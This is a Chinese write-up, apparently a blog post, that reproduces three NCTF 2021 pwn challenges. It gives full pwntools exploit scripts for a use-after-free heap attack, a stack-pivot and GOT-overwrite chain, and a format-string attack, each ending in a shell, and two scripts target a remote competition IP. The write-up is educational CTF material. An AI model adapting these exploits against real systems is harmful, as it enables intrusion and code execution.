2021-NCTF pwn方向题目复现
周末在学校摸鱼了所以没有参加比赛,赛后看题又一次深刻的感觉到自己有多菜了(被新生赛暴打的大二菜狗子
1、easyheap
算是pwn的签到题目了,从libc2.32起加了一个异或的保护,不过因为uaf漏洞点外加并没有啥其他的限制所以利用起来没有什么难度
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
def menu(idx):
sla('>> ',str(idx))
def add(size,con):
menu(1)
sla('Size: ',str(size))
sa('Content: ',con)
def edit(idx,con):
menu(2)
sla('Index: ',str(idx))
sla('Content: ',con)
def free(idx):
menu(3)
sla('Index: ',str(idx))
def show(idx):
menu(4)
sla('Index: ',str(idx))
p = process('./pwn')
libc = ELF('./pwn').libc
[add(0x80,'a'*8) for i in range(9)]
free(0)
show(0)
heap = u64(rx(6).ljust(8,'x00'))<<12
[free(i+1) for i in range(7)]
show(7)
base = u64(ru('x7f').ljust(8,'x00'))-libc.sym['__malloc_hook']-96-0x10
f_hook = base+libc.sym['__free_hook']
system = base+libc.sym['system']
add(0x80,'lby'*8) #6&9
free(6)
pl = p64((heap>>12)^f_hook)
edit(9,pl)
add(0x80,'/bin/sh') #10
add(0x80,p64(system)) #11
free(10)
# debug()
shell()
2、login
栈溢出的题目,能溢出的字节很少所以肯定要栈迁移的。不过在我们控制程序流之前程序就先close(1)、close(2)了,所以没法leak内存地址。
一开始尝试修改_IO_2_1_stdout结构体的fileno为0,但是我的布局做法会改变stdout全局变量中的地址,所以在执行puts的时候一定会报错。
第一条路子走不通就去尝试看看修改某一个got表函数的地址跟syscall地址一样然后csu来getshell的办法。正好close函数的地址与syscall只差了1字节不同,爆破都省了。
这个题本地一直打不通,返回shell以后把文件描述符1重定向到0也没有回显,因为这道题目是Ubuntu20的环境而我本地是老古董环境Ubuntu18,打远程是可以通的。
import time
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
# p = process('./pwn')
p = remote("129.211.173.64","10005")
elf = ELF("./pwn")
# gdb.attach(p,'b *0x40121F')
# debug()
read_got = elf.got['read']
close_got = elf.got['close']
leave = 0x40121f
re_read = 0x4011ED
fake = 0x404700
first = 0x40128a
second = 0x401270
target = 0x404090
rbp = 0x40117d
pl = 'a'*0x100+p64(target+0x100)+p64(re_read) #first
sa("Welcome to NCTF2021!n",pl)
pl = p64(first)+p64(0)
pl+= p64(1)+p64(0x4040d0)
pl+= p64(0)*2
pl+= p64(close_got)+p64(second)
pl+= '/bin/shx00'
pl+= p64(0)*10
pl+= p64(fake)+p64(re_read)
pl = pl.ljust(0x100,'x00')
pl+= p64(close_got+0x100)+p64(re_read)
# sleep(1)
s(pl)
#close-->syscall
sleep(0.3)
s('x85')
#rax=59
pl = p64(first)+p64(0)
pl+= p64(1)+p64(0)
pl+= p64(fake+0x200)+p64(59)
pl+= p64(read_got)+p64(second)
pl+= 'a'*56
pl+= p64(rbp)+p64(0x404090-0x8)+p64(leave)
pl = pl.ljust(0x100,'x00')
pl+= p64(0x404600-0x8)+p64(leave)
# sleep(1)
pause()
s(pl)
# sleep(1)
s('a'*59)
shell()
3、mmmmmmmap
非常有意思的一道题目,题目一开始先创建一个chunk并把“FMYY_YYDS!”存了进去。后面就是菜单题了。
漏洞点有两处:edit中异或处有一个小溢出、exit中满足write返回值是-1的时候会给一个bss段的格式化漏洞。 结合题目名称通过edit修改堆块size域的M位为1,这样在释放内存的时候会当作mmap申请的内存来处理,即释放后的内存不复用。
这样解题的思路就有了,修改chunksize域的M位为1,然后prev位设置上size值,当这个chunk被释放的时候就会连带这上面一整片内存区域一起释放,当我们选择功能4执行write的时候就满足进入格式化漏洞的要求啦。
这里需要注意的是mmap分配的内存都是页对齐的,所以我们修改的chunk也要满足这一点才可以,然后关于mmap_chunk的prev_size好像没有过多的检测就会调用munmap来释放内存了,所以我们在上面即使赋予一个很大的值也没有关系。
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
def menu(idx):
sla('choice: ',str(idx))
def add(size,con):
menu(1)
sla('Size: ',str(size))
sa('Content: ',con)
def edit(idx,con):
menu(2)
sla('Index: ',str(idx))
sa('Content: ',con)
def free(idx):
menu(3)
sla('Index: ',str(idx))
def fmt(_str):
sla("INPUT:",_str)
ru('n')
# p = process('./pwn')
p = remote("129.211.173.64","10004")
libc = ELF('./pwn').libc
exit_got = ELF("./pwn").got['exit']
one = [0xe6c7e,0xe6c81,0xe6c84]
# gdb.attach(p,'b *$rebase(0x17C9)')
sla("Please tell me your lucky number(0x2-0xF):n",str(3))
add(0xd18,'x00')
add(0x18,'x00')
add(0xff8,'x00')
pl = 'x00'*0x10+p64(0x0303030303032303)
edit(1,pl)
free(2)
menu(4)
#leak libcbase
fmt("%11$p")
base = int(rud('n'),16)-libc.sym['__libc_start_main']-243
rg = base+0x222060
rldlr = rg+0xF08
ogg = base+one[0]
success(hex(base))
#leak stack
fmt("%8$p")
stack = int(rud('n'),16)&0xffff
#%13-->%41-->%40
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)
# rtld_lock_default_lock_recursive
low = rldlr&0xffff
mid = (rldlr>>16)&0xffff
high = (rldlr>>32)&0xffff
pl = '%'+str(low)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+2)+'c%13$hhn'
fmt(pl)
pl = '%'+str(mid)+'c%41$n'
fmt(pl)
pl = '%'+str(stack+4)+'c%13$hn'
fmt(pl)
pl = '%'+str(high)+'c%41$n'
fmt(pl)
pl = '%'+str(stack)+'c%13$hn'
fmt(pl)
#rtld_lock_default_lock_recursive->ogg
o_low = ogg&0xffff
o_mid = (ogg>>16)&0xffff
o_high = (ogg>>32)&0xffff
pl = '%'+str(o_low)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+2)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_mid)+'c%40$hn'
fmt(pl)
pl = '%'+str(low+4)+'c%41$hhn'
fmt(pl)
pl = '%'+str(o_high)+'c%40$hn'
fmt(pl)
fmt('exitnx00')
print(hex(o_high),hex(o_mid),hex(o_low))
shell()